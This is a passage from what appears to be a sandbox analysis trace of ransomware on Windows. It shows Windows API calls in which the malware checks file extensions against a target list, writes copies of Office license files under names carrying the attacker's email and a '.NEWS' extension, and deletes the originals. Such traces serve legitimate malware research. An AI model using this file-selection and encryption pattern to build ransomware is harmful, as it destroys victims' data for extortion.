lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x102, lpOverlapped=0x0) returned 1 [0180.332] SetEndOfFile (hFile=0x36c) returned 1 [0180.333] CloseHandle (hObject=0x36c) returned 1 [0180.338] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.338] SetEndOfFile (hFile=0x4dc) returned 1 [0180.664] CloseHandle (hObject=0x4dc) returned 1 [0180.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 1 [0181.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0181.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0181.038] lstrlenW (lpString=".doc") returned 4 [0181.038] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.039] lstrlenW (lpString=".docx") returned 5 [0181.039] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.039] lstrlenW (lpString=".pdf") returned 4 [0181.039] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.039] lstrlenW (lpString=".xls") returned 4 [0181.039] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.039] lstrlenW (lpString=".xlsx") returned 5 [0181.039] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.039] lstrlenW (lpString=".ppt") returned 4 [0181.039] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0181.039] lstrlenW (lpString=".zip") returned 4 [0181.039] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.039] lstrlenW (lpString=".rar") returned 4 [0181.039] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.039] lstrlenW (lpString=".bz2") returned 4 [0181.039] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.039] lstrlenW (lpString=".7z") returned 3 [0181.039] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0181.039] lstrlenW (lpString=".dbf") returned 4 [0181.039] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0181.039] lstrlenW (lpString=".1cd") returned 4 [0181.039] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0181.040] lstrlenW (lpString=".jpg") returned 4 [0181.040] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0181.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0181.040] lstrlenW (lpString=".doc") returned 4 [0181.040] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.040] lstrlenW (lpString=".docx") returned 5 [0181.040] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.040] lstrlenW (lpString=".pdf") returned 4 [0181.040] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.040] lstrlenW (lpString=".xls") returned 4 [0181.040] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.040] lstrlenW (lpString=".xlsx") returned 5 [0181.040] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.040] lstrlenW (lpString=".ppt") returned 4 [0181.040] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0181.040] lstrlenW (lpString=".zip") returned 4 [0181.040] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.040] lstrlenW (lpString=".rar") returned 4 [0181.040] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.040] lstrlenW (lpString=".bz2") returned 4 [0181.040] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.040] lstrlenW (lpString=".7z") returned 3 [0181.041] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0181.041] lstrlenW (lpString=".dbf") returned 4 [0181.041] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0181.041] lstrlenW (lpString=".1cd") returned 4 [0181.041] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0181.041] lstrlenW (lpString=".jpg") returned 4 [0181.041] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.041] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0181.041] lstrlenW (lpString="ExcelVL_MAK-ul-oob.xrm-ms") returned 25 [0181.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0181.060] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11576) returned 1 [0181.060] CloseHandle (hObject=0x3c4) returned 1 [0181.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 0x220 [0181.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.242] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.243] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0181.244] GetLastError () returned 0x0 [0181.244] ReadFile (in: hFile=0x544, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x2d38, lpOverlapped=0x0) returned 1 [0181.365] WriteFile (in: hFile=0x558, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0181.366] ReadFile (in: hFile=0x544, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.366] WriteFile (in: hFile=0x558, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x106, lpOverlapped=0x0) returned 1 [0181.366] SetEndOfFile (hFile=0x558) returned 1 [0181.370] CloseHandle (hObject=0x558) returned 1 [0181.374] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.374] SetEndOfFile (hFile=0x544) returned 1 [0181.381] CloseHandle (hObject=0x544) returned 1 [0181.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 1 [0181.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0181.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0181.383] lstrlenW (lpString=".doc") returned 4 [0181.383] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.383] lstrlenW (lpString=".docx") returned 5 [0181.383] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.383] lstrlenW (lpString=".pdf") returned 4 [0181.383] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.383] lstrlenW (lpString=".xls") returned 4 [0181.383] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.383] lstrlenW (lpString=".xlsx") returned 5 [0181.383] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.383] lstrlenW (lpString=".ppt") returned 4 [0181.383] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0181.384] lstrlenW (lpString=".zip") returned 4 [0181.384] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.384] lstrlenW (lpString=".rar") returned 4 [0181.384] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.384] lstrlenW (lpString=".bz2") returned 4 [0181.384] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.384] lstrlenW (lpString=".7z") returned 3 [0181.384] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0181.384] lstrlenW (lpString=".dbf") returned 4 [0181.384] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0181.384] lstrlenW (lpString=".1cd") returned 4 [0181.384] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0181.384] lstrlenW (lpString=".jpg") returned 4 [0181.384] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0181.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0181.384] lstrlenW (lpString=".doc") returned 4 [0181.384] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.384] lstrlenW (lpString=".docx") returned 5 [0181.384] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.384] lstrlenW (lpString=".pdf") returned 4 [0181.384] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.384] lstrlenW (lpString=".xls") returned 4 [0181.384] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.384] lstrlenW (lpString=".xlsx") returned 5 [0181.384] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.384] lstrlenW (lpString=".ppt") returned 4 [0181.385] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0181.385] lstrlenW (lpString=".zip") returned 4 [0181.385] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.385] lstrlenW (lpString=".rar") returned 4 [0181.385] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.385] lstrlenW (lpString=".bz2") returned 4 [0181.385] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.385] lstrlenW (lpString=".7z") returned 3 [0181.385] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0181.385] lstrlenW (lpString=".dbf") returned 4 [0181.385] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0181.385] lstrlenW (lpString=".1cd") returned 4 [0181.385] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0181.385] lstrlenW (lpString=".jpg") returned 4 [0181.385] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.385] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0181.385] lstrlenW (lpString="HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 34 [0181.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.387] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=21917) returned 1 [0181.387] CloseHandle (hObject=0x544) returned 1 [0181.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 0x220 [0181.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.391] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.391] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.392] GetLastError () returned 0x0 [0181.393] ReadFile (in: hFile=0x544, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x559d, lpOverlapped=0x0) returned 1 [0181.426] WriteFile (in: hFile=0x3f4, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x55a0, lpOverlapped=0x0) returned 1 [0181.428] ReadFile (in: hFile=0x544, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.428] WriteFile (in: hFile=0x3f4, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x118, lpOverlapped=0x0) returned 1 [0181.428] SetEndOfFile (hFile=0x3f4) returned 1 [0181.428] CloseHandle (hObject=0x3f4) returned 1 [0181.428] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.428] SetEndOfFile (hFile=0x544) returned 1 [0181.433] CloseHandle (hObject=0x544) returned 1 [0181.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 1 [0181.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0181.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0181.435] lstrlenW (lpString=".doc") returned 4 [0181.435] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.435] lstrlenW (lpString=".docx") returned 5 [0181.435] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.435] lstrlenW (lpString=".pdf") returned 4 [0181.435] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.435] lstrlenW (lpString=".xls") returned 4 [0181.435] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.435] lstrlenW (lpString=".xlsx") returned 5 [0181.435] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.435] lstrlenW (lpString=".ppt") returned 4 [0181.435] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0181.435] lstrlenW (lpString=".zip") returned 4 [0181.435] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.435] lstrlenW (lpString=".rar") returned 4 [0181.435] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.435] lstrlenW (lpString=".bz2") returned 4 [0181.435] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.435] lstrlenW (lpString=".7z") returned 3 [0181.435] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0181.435] lstrlenW (lpString=".dbf") returned 4 [0181.435] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0181.435] lstrlenW (lpString=".1cd") returned 4 [0181.435] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0181.436] lstrlenW (lpString=".jpg") returned 4 [0181.436] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0181.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0181.436] lstrlenW (lpString=".doc") returned 4 [0181.436] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.436] lstrlenW (lpString=".docx") returned 5 [0181.436] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.436] lstrlenW (lpString=".pdf") returned 4 [0181.436] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.436] lstrlenW (lpString=".xls") returned 4 [0181.436] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.436] lstrlenW (lpString=".xlsx") returned 5 [0181.436] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.436] lstrlenW (lpString=".ppt") returned 4 [0181.436] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0181.436] lstrlenW (lpString=".zip") returned 4 [0181.436] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.436] lstrlenW (lpString=".rar") returned 4 [0181.436] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.436] lstrlenW (lpString=".bz2") returned 4 [0181.436] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.436] lstrlenW (lpString=".7z") returned 3 [0181.436] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0181.436] lstrlenW (lpString=".dbf") returned 4 [0181.436] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0181.436] lstrlenW (lpString=".1cd") returned 4 [0181.437] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0181.437] lstrlenW (lpString=".jpg") returned 4 [0181.437] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.437] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0181.438] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 36 [0181.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.439] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10679) returned 1 [0181.439] CloseHandle (hObject=0x544) returned 1 [0181.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 0x220 [0181.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.439] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.439] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.440] GetLastError () returned 0x0 [0181.440] ReadFile (in: hFile=0x544, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x29b7, 